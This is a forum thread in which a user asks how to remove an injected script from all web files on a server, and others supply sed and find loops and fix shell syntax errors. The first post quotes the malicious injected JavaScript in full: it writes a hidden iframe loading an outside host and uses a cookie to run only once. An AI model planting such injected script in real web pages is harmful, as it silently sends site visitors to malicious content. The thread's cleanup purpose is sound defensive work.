[SOLVED] Basic Shell script question

moyorakkhi · 02-21-2011, 05:22 AM

Hello,

I need a shell script which will search and remove a javascript from all htm, html and php file.

Code:

<script type="text/javascript"> if (navigator.cookieEnabled) {var user = getCookie("seostop");if (user !=1){winchristop();setCookie("seostop", "1", 7, "/");}}function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");}function winchristop(){var a = 'style="hidden" frameborder=0 '; document.write('<iframe src ="http://irwinchristopher.co.cc/in.cgi?4" width=10 height=5 '+a+' marginheight=0 marginwidth=0 scrolling=no> </iframe>' );}function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;} </script>

This is the script that i want to remove. I don't want to change the ownership of any of the file from which this script will be removed. Just wanna remove this specific line from all file in all directories.

Thanks for you help in advance.

Regards,
Saif

i92guboj · 02-21-2011, 05:48 AM

sed -i should be able to do it. Operate over a copy of the original tree, until you are sure you know what you are doing.

grail · 02-21-2011, 05:52 AM

My first suggestion would be to know what is unique about this entry so as to easily identify it for removal?

moyorakkhi · 02-21-2011, 06:08 AM

Quote:

Originally Posted by grail

My first suggestion would be to know what is unique about this entry so as to easily identify it for removal?

Hi grail, this whole script is in a single line. "http://irwinchristopher.co.cc" this is common everywhere.

Code:

#!/bin/bash

sed -i '/irwinchristopher.co.cc/d' /www/

How does this look? Will it delete that line from each and every file with in all folders under /www/ directory? Or I need to add any other argument?

Thanks.

colucix · 02-21-2011, 06:19 AM

Quote:

Originally Posted by moyorakkhi

How does this look? Will it delete that line from each and every file with in all folders under /www/ directory?

Nope. Sed has no recursion capabilities. You can retrieve the list of files using the find command and apply sed using the -exec option, e.g.

Code:

find . \( -name \*.htm -o -name \*.html -o -name \*.php \) -exec echo sed -i '/irwinchristopher.co.cc/d' {} \;

This will find all the .htm, .html and .php files under the current working directory and will apply the sed command. I added an echo statement for testing purposes. It will show the commands to be executed without actually run them. Check the results, then remove the echo and run again.

moyorakkhi · 02-21-2011, 07:09 AM

Thanks a lot. This seems to be working.

Need another help. I though that i don't have to change the ownership of the file first. But seems that i had to change all .htm .html .php files permission from root.root to www.www.

grail · 02-21-2011, 07:17 AM

If you are going to perform multiple tasks, and maybe add more later, I would suggest putting it into a loop:

Code:

while read -r file
do
    echo sed -i '/irwinchristopher.co.cc/d' $file
    echo chown www:www $file
done< <(find . -name '*.htm' -o -name '*.html' -o -name '*.php')

moyorakkhi · 02-21-2011, 08:18 AM

Quote:

Originally Posted by grail

If you are going to perform multiple tasks, and maybe add more later, I would suggest putting it into a loop:

Code:

while read -r file
do
    echo sed -i '/irwinchristopher.co.cc/d' $file
    echo chown www:www $file
done< <(find . -name '*.htm' -o -name '*.html' -o -name '*.php')

That didn't work. Returning error:

sh test.sh
test.sh: line 5: syntax error near unexpected token `('
test.sh: line 5: `done << (find . -name '*.htm' -o -name '*.html' -o -name '*.php')'

pgroover · 02-21-2011, 08:28 AM

Can you paste the contents of what you have in the script? I just ran it without issue.

moyorakkhi · 02-21-2011, 08:33 AM

Quote:

Originally Posted by colucix

Nope. Sed has no recursion capabilities. You can retrieve the list of files using the find command and apply sed using the -exec option, e.g.

Code:

find . \( -name \*.htm -o -name \*.html -o -name \*.php \) -exec echo sed -i '/irwinchristopher.co.cc/d' {} \;

This will find all the .htm, .html and .php files under the current working directory and will apply the sed command. I added an echo statement for testing purposes. It will show the commands to be executed without actually run them. Check the results, then remove the echo and run again.

This also didn't work

still in all files "irwinchristopher.co.cc" exists.

pgroover · 02-21-2011, 08:34 AM

You have to remove "echo" to actually have it do anything, otherwise it simply "echoes" to the screen.

moyorakkhi · 02-21-2011, 08:35 AM

Quote:

#!/bin/bash

while read -r file
do
sed -i '/irwinchristopher.co.cc/d' $file
chown www:www $file
done< <(find . -name '*.htm' -o -name '*.html' -o -name '*.php')

I just run this as shell script. Thanks for your help guys.

moyorakkhi · 02-21-2011, 08:36 AM

Did ran that without echo as colucix advised earlier

still same

pgroover · 02-21-2011, 08:37 AM

Quote:

Originally Posted by moyorakkhi

Did ran that without echo as colucix advised earlier

still same

Did it work, or not? A little confused as your post just prior to this one sounds positive.

colucix · 02-21-2011, 08:37 AM

Quote:

Originally Posted by moyorakkhi

sh test.sh
test.sh: line 5: syntax error near unexpected token `('
test.sh: line 5: `done << (find . -name '*.htm' -o -name '*.html' -o -name '*.php')'

Process substitution doesn't work in compatibility mode, that is when bash is invoked as /bin/sh. Indeed it was not a feature available in the old Bourne Shell. Please, try it with /bin/bash or simply bash in place of sh.

Also note the syntax for process substitution:

Code:

<(command)

whereas the first < sign in the suggested code stands for input redirection. A blank space is needed between the two. Looking at your post, it seems you've missed it.